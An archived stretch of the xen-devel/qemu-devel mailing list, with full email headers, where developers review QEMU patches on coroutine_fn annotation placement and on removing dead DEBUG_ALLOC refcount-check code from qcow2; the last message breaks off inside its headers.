>>> +Â Â Â  voidÂ Â Â Â Â Â Â  coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct iovec 
>>> **piov,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int 
>>> *pniov,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  size_t size);
>>> +Â Â Â  voidÂ Â Â Â Â Â Â  coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct iovec 
>>> **piov,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int 
>>> *pniov,
>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  size_t size);
>>> +Â Â Â  voidÂ Â Â Â Â Â Â  coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
>>> +Â Â Â  size_tÂ Â Â Â Â  coroutine_fn (*msize_limit)(V9fsState *s);
>>> +Â Â Â  size_tÂ Â Â Â Â  coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
>>> Â  };
>>
>> I wonder whether that could be made more diff/blame-friendly. 
>> Especially as
>> this currently only serves documentation purposes.
>>
>> They way you are positioning coroutine_fn it usually resolves to an 
>> attribute
>> attached to the function's return type, not to the function itself, even
>> though clang/gcc handling it flexible. For attaching an attribute to the
>> function itself the attribute should either be attached before the 
>> function
>> declaration or after the function declaration.
> 
> I tend to aggree it would be clearer to have these attributes /before/
> the function prototype declaration.

$ git grep -E '^(static )?coroutine_(mixed_)?fn' | wc -l
       90

block/block-copy.c:47:static coroutine_fn int 
block_copy_task_entry(AioTask *task);
block/copy-before-write.c:106:static coroutine_fn int 
cbw_do_copy_before_write(BlockDriverState *bs,
block/nvme.c:1351:static coroutine_fn int nvme_co_flush(BlockDriverState 
*bs)
block/ssh.c:1223:static coroutine_fn int ssh_flush(BDRVSSHState *s, 
BlockDriverState *bs)
nbd/server.c:3077:static coroutine_fn void nbd_trip(void *opaque)
block/block-copy.c:581:static coroutine_fn int 
block_copy_task_entry(AioTask *task)
...

> 
>> In both cases you could then
>> add it to its own, separate line, avoiding a lot of noise.
>>
>> /Christian
>>
>>
>>
>>
> 
> 



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 20:58:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 20:58:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367403.1617185 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv3p-00069o-Ei; Mon, 20 Jul 2026 20:58:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367403.1617185; Mon, 20 Jul 2026 20:58:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv3p-00069h-C7; Mon, 20 Jul 2026 20:58:01 +0000
Received: by outflank-mailman (input) for mailman id 1367403;
 Mon, 20 Jul 2026 20:58:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlv3o-00069b-4E
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:58:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlv3n-000OSU-9m
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 22:57:59 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8bd5-bab6-0a2a0a5309dd-0a2a450caa3c-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:57:58 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8bd4-f479-0a2a450c0019-cddca883901a-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:57:58 +0200
Received: from pps.filterd (m0279864.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KJTXM23106528
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:57:56 GMT
Received: from mail-qt1-f197.google.com (mail-qt1-f197.google.com
 [209.85.160.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhgs531kx-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:57:56 +0000 (GMT)
Received: by mail-qt1-f197.google.com with SMTP id
 d75a77b69052e-51c1eb52e1fso93420001cf.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 13:57:55 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49548e075d4sm221781295e9.1.2026.07.20.13.57.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 13:57:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	q5m5YhLzsuHt+goJykgjATSDXmmGEZj6f/t2DG1fv54=; b=gypfM1C+hunrJKHP
	PjUplKokm19F9kwMHfHjJXb83UIG+z/+cXd0m7YHJBxAq59vkEL68OqFB/fwlPw8
	EjjzoRbSI253roi6ECXdNTBWjE0TdXujyVQlNmF9W2bjuzCkpUGPr8/n2ozUUBGG
	jWLnAA/2HqXOi92LTnGypSyHcb0bDgVjyNoZUSnvD/zzaHJA9geKQtDOMgXQrJCy
	qF9MEauOAmdkFQnsHOtNvZH6OU6+f/GN3wBQX63y4BFLSK2RTMAktpeE659hhxqN
	WLNt4QXyrJKDfU674Xj8cePSrBV1NyPWHk02iGk5+8Y0GwQxG2VwwvnXLJsJU+8I
	CP79Xw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784581075; x=1785185875; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=q5m5YhLzsuHt+goJykgjATSDXmmGEZj6f/t2DG1fv54=;
        b=MD2jXP3CLQShtFM7S0kfRXqoxmAzKEt3E9SD3/4JOoO4uV8thU/zkZh/dPXxWLOfej
         DiaZHzh1igXebjUGhAW2niMnaFo0HB9aKmlEoP8k4Uj4/97uJJZ1Irkol7+kz6o5ZpXk
         27xuU3IA23651nHK22jTS0H0FO5GfvIuMepcRKzTpthv+BdQzovr2s8od2rhY+n/Vn6j
         a6oFAg6HNittT8Qty1C9v8rCYyUtVmCNefEBiFp4LBRtV7zF/5TWTl/dsJ2MgiXN48P0
         7YOAG8PGjHmLaQU6IdKdPNfJQbhGnmT4AXjG/yi9LuHWumrafichCfduHil0AvMjyD5s
         b6qg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784581075; x=1785185875;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=q5m5YhLzsuHt+goJykgjATSDXmmGEZj6f/t2DG1fv54=;
        b=qlyAXByKtH+ypYgGPYaG6Y8Q3BwrbWAnNgFGDBUjiWJP+WRKimsoYVFyoHTt89Wb2R
         NBGPYrYGJv57zkA2bLOMIXFJ2ExO6/0eVlHUPYf6diw63uW9DlK5EheGBd4nvYuqTZMm
         BOnR1+dj6XYFGiPxQ8RPi1oi9bFe/nbMWTJ+MTp3xhWs0Dnf07l/xoXXdnvwQt6WBkSv
         87Y9RfsSSGVfUNm4sd+13B569hGsV1oVJi43xQyH/sbRnhE+2SrvJiF5eXi5uhO1ylUv
         6RfplKYko/JH58Fmr3DQx/zlld9PC3yS3ZIqpNjXXnU9sBd9HbEyvBLg+KWjKdCn8Cpx
         jcOg==
X-Forwarded-Encrypted: i=1; AHgh+Rrp9riUf7kvgz9uoIq49Tt3Kiw2Rn9trSYi0Imn3wNpt95alekeO8tJosSWEoGcEaoHAbUIqxdpQ7Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyUyUIdW27+Dz/SJzYqk+kYvh2U1dd1qoWFHqTsoTeQltVRLBjV
	gU69/mVo3KB84qUmeNBeAUayXHfnmu8H1btNqrxAZHKEwn+cm4qLfX/OadyntZmh2YIGg1qRx8u
	VAiPxPLe77KcA90GIN8Tul/dXeJoTxBxvDu3lE+NGWQ9loCCS0JEyF102stAQKHQjjEraeA==
X-Gm-Gg: AfdE7ck9BoIXRDb4mOOcWgJ/ztwlWKlzWw+7hZCMTPgkCrLTMSVRn8NxucVSf7l3g8Z
	UL0OZX7Gk/3SMRJPvbOLLS8cOY66LBLVaGYLQXJy5JmrLV5/8nLgeftCsijKZZGW0wlDzQSM5W9
	XiPkh5mt649W/tVDqsTCZfVGyGGEF5y6qQeVTkk8mld2XhUdnfgzEU3/iGN5Y+xEIohEZaQ6xUh
	FqAgV5riQwNcxd066WR4JXNAI20zyEarFlRwb+0hwILA/i95dHZzitDC+sFxBHWDiJgvoVOL3vl
	Vn6m6e0hZpu+NO03PXzbaEFV12VOdNQiOV+0Ooo8oH6fl7JfPsod2ie1pOiGHPZBEPivk5iS33Y
	BEpdtL5kxYvVEC9IdMlAFwM1o6rPxclOsapVbBTLAKKk8L8S9okI=
X-Received: by 2002:ac8:7d4f:0:b0:51c:185b:29e0 with SMTP id d75a77b69052e-5213a3824d6mr151131211cf.10.1784581075119;
        Mon, 20 Jul 2026 13:57:55 -0700 (PDT)
X-Received: by 2002:ac8:7d4f:0:b0:51c:185b:29e0 with SMTP id d75a77b69052e-5213a3824d6mr151130961cf.10.1784581074544;
        Mon, 20 Jul 2026 13:57:54 -0700 (PDT)
Message-ID: <797f3cd6-5ca2-4cba-8aa0-43fa883f274c@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 22:57:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 5/8] qcow2: remove invalid qcow2_check_refcounts calls
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-5-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-5-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDIyOSBTYWx0ZWRfX5LrmAv1hw6Km
 o2dznOFgpm4nAKG5ashC5PKBjjeklsSJzFvbSjy/kFHRwe3fn+AurNb7ugBrbVHEceu0bspoGEt
 WYxNgzCainfyKMdfAIQMdgbXBa0zBw0=
X-Proofpoint-GUID: GVZBM1WGNFBl2wyKtmcIinlf2LF_czIz
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDIyOSBTYWx0ZWRfX007B5VLoy1wS
 +Ha2perKgzO03AJzVzU+Y/3JAOZzCndOjcMiXmzB96Pc+ckVEMSqiPbWcRYz9fDTv2eZPHB/m/r
 uWK/j5tupGrNjxFdcL2YiRDPMhLDBdC0PyT+9wvwX1rtKeRCbJXnPfurHwNgQ51FpoHCq3VotlS
 QNzQZbvyYHHZt82/W4Eo7JEPUQ72aVzL1VRL6FaRJ4EearlwOAptizn8KgU/GT4f9KlrDPX8pTG
 1xPZVMth8dhj+B0CB4PqG9OhBGOYlZ+1VKiecVpfgrl2t19f0ZnhPHhpg3lJvASKhbJZQYlr/o/
 ATvppM2g4vkxJKW3exFxz+eNswe3BeqQfvowme/PK6GrchekTewLm6fYiJfb3m+0nnptGPw19Tz
 3+CN4kNmi9J0QfxYL4wLDwAoikYTiobaY5CM2oYaFqycAS6Ov6c9BmiLfJ4RVjxx1PIRAauVqLm
 CPRhtB79J7Wye6hJVCg==
X-Authority-Analysis: v=2.4 cv=CpiPtH4D c=1 sm=1 tr=0 ts=6a5e8bd4 cx=c_pps
 a=EVbN6Ke/fEF3bsl7X48z0g==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=DJpcGTmdVt4CTyJn9g5Z:22
 a=20KFwNOVAAAA:8 a=EUspDBNiAAAA:8 a=bejFeoJku8wluUMwU-oA:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10 a=a_PwQJl-kcHnX1M80qC6:22
X-Proofpoint-ORIG-GUID: GVZBM1WGNFBl2wyKtmcIinlf2LF_czIz
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_05,2026-07-20_03,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 priorityscore=1501 phishscore=0 spamscore=0 clxscore=1015
 suspectscore=0 lowpriorityscore=0 impostorscore=0 adultscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200229
X-purgate-ID: tlsNG-d25034/1784581078-51737A5B-2EEA796E/0/0
X-purgate-type: clean
X-purgate-size: 1719

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> Those DEBUG_ALLOC-guarded are dead code incorrectly calling coroutine fn
> from non-coroutine. Remove it.
> 
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   block/qcow2-snapshot.c | 18 ------------------
>   1 file changed, 18 deletions(-)
> 
> diff --git a/block/qcow2-snapshot.c b/block/qcow2-snapshot.c
> index 1e8dc48be1c..8453ad73d10 100644
> --- a/block/qcow2-snapshot.c
> +++ b/block/qcow2-snapshot.c
> @@ -740,12 +740,6 @@ int qcow2_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info)
>                             ROUND_UP(sn->vm_state_size, s->cluster_size),
>                             QCOW2_DISCARD_NEVER, false);
>   
> -#ifdef DEBUG_ALLOC
> -    {
> -      BdrvCheckResult result = {0};
> -      qcow2_check_refcounts(bs, &result, 0);
> -    }
> -#endif
>       return 0;
>   

Fixes: 70bacc44532 ("qcow2: mark more functions as coroutine_fns and 
GRAPH_RDLOCK")
Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>

While here we could remove DEBUG_ALLOC:

-- >8 --
diff --git a/block/qcow2.h b/block/qcow2.h
index ce517040c47..5e1f916d58f 100644
--- a/block/qcow2.h
+++ b/block/qcow2.h
@@ -33,3 +33,2 @@

-//#define DEBUG_ALLOC
  //#define DEBUG_ALLOC2
diff --git a/block/qcow2.c b/block/qcow2.c
index 19271b10a49..6965b80af03 100644
--- a/block/qcow2.c
+++ b/block/qcow2.c
@@ -1965,9 +1965,2 @@ qcow2_do_open(BlockDriverState *bs, QDict 
*options, int flags,

-#ifdef DEBUG_ALLOC
-    {
-        BdrvCheckResult result = {0};
-        qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
-
      qemu_co_queue_init(&s->thread_task_queue);
---


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 20:58:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 20:58:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367411.1617194 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv4d-0006db-Nn; Mon, 20 Jul 2026 20:58:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367411.1617194; Mon, 20 Jul 2026 20:58:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlv4d-0006dU-K2; Mon, 20 Jul 2026 20:58:51 +0000
Received: by outflank-mailman (input) for mailman id 1367411;
 Mon, 20 Jul 2026 20:58:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlv4b-0006dH-W4
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:58:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlv4b-008B4H-Cv
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 22:58:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8c09-5cb7-0a2a0a5109dd-0a2a45048f10-0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:58:49 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e8c07-b57f-0a2a45040019-cddca8838ef4-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:58:49 +0200
Received: from pps.filterd (m0279866.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KJTSu63283928
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:58:47 GMT
Received: from mail-qt1-f198.google.com (mail-qt1-f198.google.com
 [209.85.160.198])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhh5y2yad-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:58:46 +0000 (GMT)
Received: by mail-qt1-f198.google.com with SMTP id
 d75a77b69052e-51c26012cd0so187275871cf.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 13:58:46 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-495653bfed7sm17139495e9.11.2026.07.20.13.58.42
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 13:58:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	yXvKzkuRVGbi0KnPF83YKFfobJ/BYgNqxZq8H29B9BI=; b=E607B0YNz5K5jpeZ
	jEqdtXqAigBiCaEfBMwN0vJy2sIthhYHYqbhBcNvRHQbO6gQm35Frz172RVPOKxC
	/Wv2IkO79fBNPjSBlQ+tGcjq24b6Fysr2Op8RdkcqJqJboSVqsYt18cE0S13dsCX
	tQRorCxnaDQMbPQ728W6s6Fax5Stxu7bZeU/LoD6VXPnJecj8Cqf6wtpPPB70aPD
	4vkmMvtGT4OxvOLMTd2lkW9NFL66VNnxERJvaabEgzD7tLGGhkNxfDkOpPYMO830
	seGJmiwchQNgxeaSSwpSb+3dFiN/IGKEvyKtitZdUeqZyogjO6QfveIdJq//wxmB
	wsto+Q==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784581126; x=1785185926; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=yXvKzkuRVGbi0KnPF83YKFfobJ/BYgNqxZq8H29B9BI=;
        b=Dj0byijnTdPT6YiRSOyLO0D2Q1Hh3M+233tMMDf7hV+sHxcUigF8B7UzQ6l9B1P2d7
         cyHBM9qE5AuyYbUzcnIOTFhBdqSTSk4sGRpl4mZaCGnwjGFfvzgT6TakE5ePPIokm/qI
         AOBCL/jirYqC3Ifgys6LauNl763lQ+S/AceG3MG6FcoP/70VXrcCX0g5BNShM2j5aQj6
         TBer/lxzSqF8wiYkObPXGSO2/NXDlZ+aVS3alzFBNaliTxNnI+qtf7YKLYzNhQdxr6Ur
         I6KHYn8CztFqNngFy3t0hIbeefdpP4XxMMf8EzqzAD2gnhVzEjDbhOCyJ0a4bnNLggpu
         9rbg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784581126; x=1785185926;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=yXvKzkuRVGbi0KnPF83YKFfobJ/BYgNqxZq8H29B9BI=;
        b=mYJU49XdSzPD2zIVB43HzYD1IZ1Y8zCC/4H3AGIj8aW+q0DrHLEC+n3c1a1i73Z9Y5
         nQWxHTIjpFJZYN6QfcDURv/f2eeEZDvzSEy1z8MqHmE9oasP4ex4M3pvpYYsjiF2lmuT
         B6T9szLKwllqceoXhOSJT7kaZBygj7Kaqg35LgJffTAvuaQqOhMrfCVzEyQSbc8wSruG
         kso2uva+zFrPj7v6XABQmnBi9uhIDl9FVNpKZ9mhzb+KruvtCAFQdmTFYACmAo+YdZrL
         MhLfa4Ncac9aoMGbChh+zvM6+b49hmSrIkuFjS8YJqAQFu3PZe54y+KU/2gN9wdiTIww
         +d0g==
X-Forwarded-Encrypted: i=1; AHgh+Roe03Yapmz/b6Hg+c3t4rLKRTgMxOlaxpOWOjUd1ByDNx5qLJmY1d8+J9grKocxqgbstrzvbjfu6bk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyOsAYLXNnQCTpZtpvVVM51Ib/jtqSgtttR3okO3uuMSfuF7nFY
	DKer1yDT3m9nWFaaSIvxz9t5c6PV67hVvIwJJgHbCjWi16f1aI7hzAziIBvR4rY7RMxbEn5+3Cp
	jX33UQOVl/Y8GWyNQEq6jPE4Hb8Pkw8PdQCpC9yfRYH4QIbhr/h7nd6gU/x9Fw+pjlCuAuA==
X-Gm-Gg: AfdE7clRP+K+GOnpmC93fAG0SIKvPzTqPR9HC6zGt/nKZJpqNTEd+j2yaLjg+QgfMjA
	Q5DqIVX/QmoTZwecQMn9ORVbzo+RUw/g6hM+9QGay3XhGi1fYCrctWO/Qhwu5j5OYqAKm6ZnR4d
	8sPlIZ68bqC2N34yy0o5xLkFlPLknopXvyYcQeoQQ2SdAth8AktCEXnZyJWdulod2Sorwi0zX/S
	YoEMNRhxtQdz3qJelALdXjvOD/Gf5HJPX0/F2YUSiKK/Lo56rY90us41rgOt/CXZC5nvPM2Jk+w
	YyezTVd+c9aVEm3Va8mt2nPlLe/Jf5pT1vucgHuQ9admAPDs3ACOSDWB7ErVLbz1256YJTA0v8x
	ZSkngWmgE2t9jyDVTJDVlqyLfhJ/pjBIsBBQj7sKCoEhBnIKq6q4=
X-Received: by 2002:a05:622a:5cd:b0:51c:a8:51cd with SMTP id d75a77b69052e-5213bb21707mr147059781cf.1.1784581125517;
        Mon, 20 Jul 2026 13:58:45 -0700 (PDT)
X-Received: by 2002:a05:622a:5cd:b0:51c:a8:51cd with SMTP id d75a77b69052e-5213bb21707mr147059411cf.1.1784581125140;
        Mon, 20 Jul 2026 13:58:45 -0700 (PDT)
Message-ID: <985035ee-2577-4b99-8eaa-948a56ad62e0@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 22:58:42 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 6/8] block: add missing coroutine_fn annotations
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
